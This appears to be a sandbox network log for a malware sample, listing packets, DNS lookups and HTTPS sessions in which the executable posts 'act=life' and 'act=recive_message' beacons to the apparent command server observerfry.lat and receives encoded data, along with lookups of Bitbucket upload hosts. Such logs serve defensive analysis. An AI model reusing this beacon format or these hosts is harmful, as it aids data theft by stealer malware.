Dec 24, 2024 08:42:55.235384941 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.235431910 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.250289917 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.260983944 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.384421110 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.384444952 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.384505033 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.384516954 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.384556055 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.384574890 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.384579897 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.391187906 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.391206980 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.391258001 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.391269922 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.391304016 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.397525072 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.397564888 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.397620916 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.397628069 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.397658110 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.404077053 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.404119015 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.404159069 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.404169083 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.404194117 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.410988092 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.411037922 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.411077023 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.411086082 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.411132097 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.417617083 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.417654037 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.417689085 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.417697906 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.417743921 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.424216032 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.424263000 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.424310923 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.424319983 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.424352884 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.426172018 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.426172018 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.426179886 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.429594994 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.573028088 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.573076963 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.573177099 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.573194027 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.573502064 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.573832035 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.579514980 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.579531908 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.579613924 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.579622030 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.586950064 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.587022066 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.587055922 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.587069035 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.587105989 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.587121964 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.589312077 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.589353085 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.593416929 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.593436003 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.593470097 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.593506098 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.593513012 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.593550920 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.594376087 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.594440937 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.594446898 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.594481945 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.594525099 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.622827053 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.805754900 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.805754900 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.805809975 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.805856943 CET	443	49744	3.5.17.0	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 08:42:26.229614019 CET	51256	53	192.168.2.5	1.1.1.1
Dec 24, 2024 08:42:26.371484041 CET	53	51256	1.1.1.1	192.168.2.5
Dec 24, 2024 08:42:48.661274910 CET	49635	53	192.168.2.5	1.1.1.1
Dec 24, 2024 08:42:48.798130989 CET	53	49635	1.1.1.1	192.168.2.5
Dec 24, 2024 08:42:51.082931042 CET	49259	53	192.168.2.5	1.1.1.1
Dec 24, 2024 08:42:51.361607075 CET	53	49259	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 08:42:26.229614019 CET	192.168.2.5	1.1.1.1	0xcac6	Standard query (0)	observerfry.lat	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:42:48.661274910 CET	192.168.2.5	1.1.1.1	0x4fb6	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:42:51.082931042 CET	192.168.2.5	1.1.1.1	0x923e	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 08:42:26.371484041 CET	1.1.1.1	192.168.2.5	0xcac6	No error (0)	observerfry.lat		172.67.199.72	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:42:26.371484041 CET	1.1.1.1	192.168.2.5	0xcac6	No error (0)	observerfry.lat		104.21.36.201	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:42:48.798130989 CET	1.1.1.1	192.168.2.5	0x4fb6	No error (0)	bitbucket.org		185.166.143.50	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:42:48.798130989 CET	1.1.1.1	192.168.2.5	0x4fb6	No error (0)	bitbucket.org		185.166.143.49	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:42:48.798130989 CET	1.1.1.1	192.168.2.5	0x4fb6	No error (0)	bitbucket.org		185.166.143.48	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:42:51.361607075 CET	1.1.1.1	192.168.2.5	0x923e	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 08:42:51.361607075 CET	1.1.1.1	192.168.2.5	0x923e	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 08:42:51.361607075 CET	1.1.1.1	192.168.2.5	0x923e	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.17.0	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:42:51.361607075 CET	1.1.1.1	192.168.2.5	0x923e	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.29.55	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:42:51.361607075 CET	1.1.1.1	192.168.2.5	0x923e	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.28.88	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:42:51.361607075 CET	1.1.1.1	192.168.2.5	0x923e	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.86.188	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:42:51.361607075 CET	1.1.1.1	192.168.2.5	0x923e	No error (0)	s3-w.us-east-1.amazonaws.com		16.182.98.81	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:42:51.361607075 CET	1.1.1.1	192.168.2.5	0x923e	No error (0)	s3-w.us-east-1.amazonaws.com		16.15.184.118	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:42:51.361607075 CET	1.1.1.1	192.168.2.5	0x923e	No error (0)	s3-w.us-east-1.amazonaws.com		16.15.192.189	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:42:51.361607075 CET	1.1.1.1	192.168.2.5	0x923e	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.28.171	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

observerfry.lat

bitbucket.org

bbuseruploads.s3.amazonaws.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	172.67.199.72	443	4696	C:\Users\user\Desktop\iaLId0uLUw.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:42:27 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: observerfry.lat
2024-12-24 07:42:27 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-24 07:42:28 UTC	1123	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:42:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bbue98cma0pqc0u5ol9b84a10v; expires=Sat, 19 Apr 2025 01:29:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h%2FWg7u5eJerMSv6KPfLZxrB1xgcU4rHD0RRI0YinQNJ1hjMdiU03y5PvMQhlCbJlmp8tckwW%2FXZZTveEl7OHIJZi5W17ioGU%2BpswwiQ8dMmaCn8Hko1nIFY22ndOFIXKYbA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6ef47049810c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1472&min_rtt=1467&rtt_var=560&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=906&delivery_rate=1937624&cwnd=241&unsent_bytes=0&cid=a6f0746d8367714b&ts=768&x=0"
2024-12-24 07:42:28 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-24 07:42:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	172.67.199.72	443	4696	C:\Users\user\Desktop\iaLId0uLUw.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:42:29 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: observerfry.lat
2024-12-24 07:42:29 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-24 07:42:30 UTC	1127	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:42:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gdnku76srf3teddpl69bqdo3qn; expires=Sat, 19 Apr 2025 01:29:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VHxsUaVO5UFnJ%2B%2B9Wg1Dj%2B55qLo65eSBvMDT2IXSva87ex3rkICZbBLChXtxxcIafHgi7JMKnLRTa0rdIB%2BHtl9lb1GmaCtTEqsbjiscDQkNZfKj%2FrhpquZvastI5VChJsY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6ef47d8b650f87-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1513&min_rtt=1508&rtt_var=575&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=952&delivery_rate=1886304&cwnd=229&unsent_bytes=0&cid=165fe15298052c6f&ts=787&x=0"
2024-12-24 07:42:30 UTC	242	IN	Data Raw: 31 63 61 65 0d 0a 53 74 69 63 73 43 73 56 4e 73 67 61 51 48 48 31 33 73 50 39 31 46 73 65 2b 41 67 59 34 5a 6f 37 61 33 4a 47 56 4e 78 2b 67 31 6f 78 2b 75 71 53 45 53 45 61 36 6d 6b 6c 55 38 2b 71 73 59 69 78 64 7a 79 5a 62 44 72 62 2f 46 6f 48 41 53 4e 34 2f 67 6a 75 65 48 43 2b 2f 64 78 59 63 42 72 71 66 7a 68 54 7a 34 57 34 33 37 45 31 50 4d 49 71 66 59 76 34 57 67 63 51 4a 7a 2b 7a 44 75 38 35 49 72 54 37 32 45 35 32 55 71 6c 32 4c 52 53 51 75 36 4b 58 75 6a 4a 7a 6b 47 55 36 7a 62 68 65 45 56 42 38 64 70 45 62 39 7a 73 48 75 65 2f 62 43 57 67 61 73 7a 67 6c 48 39 66 6b 34 5a 79 78 4f 58 4b 65 62 48 4f 4a 38 6c 4d 50 45 53 49 2b 72 42 66 6c 4d 69 4b 36 2b 4e 6c 45 66 30 61 6b 66 43 6f 66 6c 72 47 69 33 2f 68 35 Data Ascii: 1caeSticsCsVNsgaQHH13sP91Fse+AgY4Zo7a3JGVNx+g1ox+uqSESEa6mklU8+qsYixdzyZbDrb/FoHASN4/gjueHC+/dxYcBrqfzhTz4W437E1PMIqfYv4WgcQJz+zDu85IrT72E52Uql2LRSQu6KXujJzkGU6zbheEVB8dpEb9zsHue/bCWgaszglH9fk4ZyxOXKebHOJ8lMPESI+rBflMiK6+NlEf0akfCoflrGi3/h5
2024-12-24 07:42:30 UTC	1369	IN	Data Raw: 65 34 49 71 49 73 4f 72 61 77 6f 42 4e 53 4f 7a 44 4f 64 34 4e 2f 54 6e 6b 6b 35 37 46 50 49 34 4b 68 2b 5a 75 61 4b 51 73 54 68 38 69 47 56 36 67 50 42 52 44 52 6f 72 4f 62 45 53 36 7a 38 67 73 2f 6e 64 54 6e 39 53 70 58 74 69 58 64 65 37 75 64 2f 75 65 56 79 4b 61 58 6d 58 39 55 68 4a 44 32 6f 76 2f 68 76 74 65 48 44 36 2b 4e 78 49 65 6c 53 34 63 43 6b 59 6b 71 36 71 6c 72 73 30 66 4a 64 67 64 59 44 34 58 67 4d 61 4b 7a 79 36 45 65 77 2b 4b 4c 71 2b 6e 41 6c 77 54 4f 6f 67 59 6a 43 53 72 4b 61 54 6f 48 74 47 32 6e 55 30 6d 72 68 65 42 56 42 38 64 72 59 5a 34 6a 73 6a 74 66 33 61 51 6d 56 55 75 48 34 76 46 6f 57 36 70 4a 47 38 4f 6d 36 51 5a 48 79 41 38 56 49 41 46 53 4d 79 2f 6c 4b 68 50 7a 44 36 70 70 4a 6f 65 6c 2b 6d 63 6a 55 54 31 36 50 76 68 76 59 Data Ascii: e4IqIsOrawoBNSOzDOd4N/Tnkk57FPI4Kh+ZuaKQsTh8iGV6gPBRDRorObES6z8gs/ndTn9SpXtiXde7ud/ueVyKaXmX9UhJD2ov/hvteHD6+NxIelS4cCkYkq6qlrs0fJdgdYD4XgMaKzy6Eew+KLq+nAlwTOogYjCSrKaToHtG2nU0mrheBVB8drYZ4jsjtf3aQmVUuH4vFoW6pJG8Om6QZHyA8VIAFSMy/lKhPzD6ppJoel+mcjUT16PvhvY
2024-12-24 07:42:30 UTC	1369	IN	Data Raw: 48 79 4d 39 56 56 4a 58 6d 51 78 70 6c 79 35 65 41 4b 35 36 74 46 44 4e 57 47 70 64 69 77 55 67 66 79 2b 30 61 39 35 65 35 59 71 49 73 50 31 57 41 45 57 4e 6a 6d 7a 48 2b 38 32 4a 37 2f 78 32 6b 6c 33 57 61 39 38 4b 52 69 55 73 61 57 4e 76 44 6c 30 6e 32 74 77 69 62 67 58 53 52 63 38 64 75 5a 63 30 43 38 6a 2b 4d 76 52 52 33 6c 54 76 44 67 39 58 59 37 38 70 70 50 32 59 54 79 58 59 6e 2b 47 39 31 67 44 48 69 45 38 73 68 54 76 4f 7a 71 31 2b 74 4a 46 66 31 36 6e 64 69 59 62 6e 72 65 71 6d 62 59 34 64 74 6f 6b 4f 6f 54 67 47 56 46 51 45 44 47 79 45 65 35 36 48 62 6e 77 33 45 35 68 46 4c 55 32 4f 31 4f 51 73 4f 48 48 39 6a 56 31 6d 6d 46 77 68 2f 68 65 42 42 55 6e 4d 62 30 52 35 6a 49 6d 76 66 72 65 51 48 70 53 71 6e 38 6d 46 6f 57 35 71 4a 4f 36 65 54 4c 61 Data Ascii: HyM9VVJXmQxply5eAK56tFDNWGpdiwUgfy+0a95e5YqIsP1WAEWNjmzH+82J7/x2kl3Wa98KRiUsaWNvDl0n2twibgXSRc8duZc0C8j+MvRR3lTvDg9XY78ppP2YTyXYn+G91gDHiE8shTvOzq1+tJFf16ndiYbnreqmbY4dtokOoTgGVFQEDGyEe56Hbnw3E5hFLU2O1OQsOHH9jV1mmFwh/heBBUnMb0R5jImvfreQHpSqn8mFoW5qJO6eTLa
2024-12-24 07:42:30 UTC	1369	IN	Data Raw: 5a 41 53 52 63 6f 64 75 5a 63 36 44 45 36 74 50 44 62 52 48 46 63 72 58 59 76 47 4a 47 33 70 70 69 77 4e 48 53 58 62 33 6d 43 2f 46 4d 62 45 79 38 38 73 78 61 68 64 6d 69 39 35 70 49 52 4e 33 4f 6d 55 54 49 49 68 61 72 68 67 50 67 67 50 4a 31 6d 4f 74 75 34 57 67 59 5a 4b 7a 36 32 45 2b 34 38 4a 72 7a 34 33 30 78 34 58 72 68 77 4c 42 36 63 73 36 71 4e 74 6a 52 34 6c 6d 35 79 69 50 49 5a 52 31 41 6a 4c 76 35 45 6f 51 30 6c 74 66 37 52 58 7a 64 4c 35 47 46 69 46 4a 76 38 2b 64 2b 36 4e 33 79 56 5a 6e 61 49 38 46 67 46 48 69 4d 7a 74 78 54 70 4b 69 6d 2b 39 74 4e 48 65 46 57 75 66 53 63 58 6b 4c 69 6e 6b 50 5a 33 50 4a 31 79 4f 74 75 34 64 69 34 6c 5a 68 65 45 58 50 35 32 4d 66 72 35 33 67 6b 76 46 4b 5a 37 4c 68 75 59 75 71 69 54 76 44 42 33 6c 6d 46 2b 6a Data Ascii: ZASRcoduZc6DE6tPDbRHFcrXYvGJG3ppiwNHSXb3mC/FMbEy88sxahdmi95pIRN3OmUTIIharhgPggPJ1mOtu4WgYZKz62E+48Jrz430x4XrhwLB6cs6qNtjR4lm5yiPIZR1AjLv5EoQ0ltf7RXzdL5GFiFJv8+d+6N3yVZnaI8FgFHiMztxTpKim+9tNHeFWufScXkLinkPZ3PJ1yOtu4di4lZheEXP52Mfr53gkvFKZ7LhuYuqiTvDB3lmF+j
2024-12-24 07:42:30 UTC	1369	IN	Data Raw: 66 4a 54 65 34 44 75 59 78 4f 72 54 7a 33 55 46 2f 58 61 74 38 4a 78 36 52 73 4b 75 65 73 54 64 79 6b 69 6f 30 77 2f 39 42 53 55 68 6b 46 36 34 48 38 79 34 6c 6d 2f 50 64 43 57 67 61 73 7a 67 6c 48 39 66 6b 34 5a 61 6b 50 58 47 49 59 33 32 4e 39 31 6f 62 45 53 6b 39 72 42 76 75 50 43 2b 32 2b 4e 31 50 64 6c 47 67 64 43 55 57 6e 4c 4f 74 33 2f 68 35 65 34 49 71 49 73 50 57 55 68 6f 48 4a 7a 69 31 43 76 70 34 4e 2f 54 6e 6b 6b 35 37 46 50 49 34 49 52 69 63 75 4b 47 54 74 6a 31 78 6d 6e 68 31 68 50 39 51 41 67 49 75 4d 62 6b 58 36 54 4d 6e 76 4f 7a 65 52 32 56 52 75 47 70 69 58 64 65 37 75 64 2f 75 65 55 71 64 65 6d 71 41 75 6d 67 66 45 7a 49 39 73 78 43 68 4a 32 61 6a 76 74 56 46 4e 77 7a 71 66 69 30 61 6c 4c 4f 67 6c 72 6f 30 65 5a 4e 76 65 34 58 38 55 77 Data Ascii: fJTe4DuYxOrTz3UF/Xat8Jx6RsKuesTdykio0w/9BSUhkF64H8y4lm/PdCWgaszglH9fk4ZakPXGIY32N91obESk9rBvuPC+2+N1PdlGgdCUWnLOt3/h5e4IqIsPWUhoHJzi1Cvp4N/Tnkk57FPI4IRicuKGTtj1xmnh1hP9QAgIuMbkX6TMnvOzeR2VRuGpiXde7ud/ueUqdemqAumgfEzI9sxChJ2ajvtVFNwzqfi0alLOglro0eZNve4X8Uw
2024-12-24 07:42:30 UTC	1369	IN	Data Raw: 2f 67 4f 76 49 57 69 39 38 70 49 52 4e 31 65 74 65 79 4d 5a 6e 72 43 75 6d 4c 49 72 64 70 31 34 65 34 4c 7a 56 41 55 51 4b 54 75 30 48 65 67 31 4a 4c 66 35 31 55 5a 79 46 4f 51 34 4a 51 76 58 35 4f 47 2b 75 7a 4a 77 77 54 41 36 6e 4c 5a 41 53 52 63 6f 64 75 5a 63 34 54 49 74 73 50 50 52 52 6e 52 47 71 33 34 77 45 35 71 32 73 35 57 39 50 48 47 58 5a 33 6d 46 2f 6c 49 46 41 69 30 32 76 52 65 68 64 6d 69 39 35 70 49 52 4e 33 65 39 62 69 67 55 6d 36 71 71 6e 72 55 76 63 59 6f 71 4e 4d 50 70 58 68 68 51 66 43 43 75 43 2b 59 6e 5a 71 4f 2b 31 55 55 33 44 4f 70 2b 4b 78 57 51 75 71 2b 4e 73 7a 39 7a 6c 57 4e 7a 68 2f 42 61 43 52 51 67 4d 62 73 66 37 54 4d 76 75 66 48 57 51 48 6c 64 70 54 68 73 55 35 43 6b 34 63 66 32 47 47 65 5a 5a 6e 66 44 35 78 63 51 55 43 4d Data Ascii: /gOvIWi98pIRN1eteyMZnrCumLIrdp14e4LzVAUQKTu0Heg1JLf51UZyFOQ4JQvX5OG+uzJwwTA6nLZASRcoduZc4TItsPPRRnRGq34wE5q2s5W9PHGXZ3mF/lIFAi02vRehdmi95pIRN3e9bigUm6qqnrUvcYoqNMPpXhhQfCCuC+YnZqO+1UU3DOp+KxWQuq+Nsz9zlWNzh/BaCRQgMbsf7TMvufHWQHldpThsU5Ck4cf2GGeZZnfD5xcQUCM
2024-12-24 07:42:30 UTC	263	IN	Data Raw: 58 68 77 2b 74 37 5a 58 33 4a 54 76 44 6f 58 45 4a 6d 79 70 6f 6e 32 4a 6b 50 55 4b 6e 57 5a 75 41 45 77 43 57 51 78 73 6c 79 35 65 44 32 39 2f 74 56 54 59 56 4f 6d 61 53 6b 65 6d 35 36 75 6d 4b 41 36 63 35 6c 37 63 38 2f 7a 56 45 6c 65 5a 44 47 6d 58 4c 6c 34 42 37 33 6f 30 57 5a 30 52 61 4d 34 62 46 4f 51 71 75 48 48 39 67 63 38 69 47 6c 71 67 50 64 49 4e 31 42 38 4c 34 42 63 36 69 34 76 71 76 33 45 51 6e 70 59 75 30 5a 69 53 38 50 75 38 38 33 6b 61 32 50 61 64 55 58 4e 75 46 68 4a 53 42 30 76 2f 67 71 68 59 48 72 30 76 73 41 4a 4c 78 54 74 65 7a 41 42 6b 62 2b 33 6e 50 45 48 51 72 31 38 63 49 54 6f 58 68 34 66 5a 48 6a 2b 45 36 46 67 45 66 72 33 31 56 4a 6d 51 71 64 6f 4a 56 4f 6f 38 75 47 48 39 6d 45 38 72 32 6c 30 6a 66 39 50 47 46 30 44 49 4c 51 62 Data Ascii: Xhw+t7ZX3JTvDoXEJmypon2JkPUKnWZuAEwCWQxsly5eD29/tVTYVOmaSkem56umKA6c5l7c8/zVEleZDGmXLl4B73o0WZ0RaM4bFOQquHH9gc8iGlqgPdIN1B8L4Bc6i4vqv3EQnpYu0ZiS8Pu883ka2PadUXNuFhJSB0v/gqhYHr0vsAJLxTtezABkb+3nPEHQr18cIToXh4fZHj+E6FgEfr31VJmQqdoJVOo8uGH9mE8r2l0jf9PGF0DILQb
2024-12-24 07:42:30 UTC	1369	IN	Data Raw: 32 63 36 65 0d 0a 36 63 43 58 45 55 38 69 74 73 55 35 4f 74 34 63 66 6d 61 79 66 50 4f 53 33 54 71 6b 5a 48 43 57 51 67 2f 6b 53 7a 64 6d 69 6f 76 6f 6f 4a 4d 46 65 34 61 69 51 51 67 62 2f 6d 6f 59 67 65 5a 70 64 73 62 5a 4c 47 5a 77 34 4b 4b 54 43 70 44 61 30 74 4b 37 54 77 31 56 38 33 47 75 70 33 59 6b 75 75 2f 4f 6e 66 69 58 63 38 67 69 6f 69 77 38 31 61 42 78 34 6a 49 4b 39 52 78 69 49 6c 76 4f 6e 44 43 54 6b 55 72 44 68 36 51 39 6e 38 70 59 37 32 59 53 7a 49 4d 53 2f 51 72 77 6c 62 44 32 6f 76 2f 67 71 68 59 48 72 30 76 73 41 4a 4c 78 54 74 65 7a 41 42 6b 62 2b 33 6e 50 45 48 51 72 52 74 66 49 62 2f 53 55 73 2b 4c 79 4b 35 58 4b 39 34 4a 2f 71 6d 36 77 6b 2f 46 4a 55 32 59 67 76 58 35 4f 47 71 74 54 64 79 6e 58 78 72 7a 74 5a 65 44 78 55 6a 4a 76 77 Data Ascii: 2c6e6cCXEU8itsU5Ot4cfmayfPOS3TqkZHCWQg/kSzdmiovooJMFe4aiQQgb/moYgeZpdsbZLGZw4KKTCpDa0tK7Tw1V83Gup3Ykuu/OnfiXc8gioiw81aBx4jIK9RxiIlvOnDCTkUrDh6Q9n8pY72YSzIMS/QrwlbD2ov/gqhYHr0vsAJLxTtezABkb+3nPEHQrRtfIb/SUs+LyK5XK94J/qm6wk/FJU2YgvX5OGqtTdynXxrztZeDxUjJvw
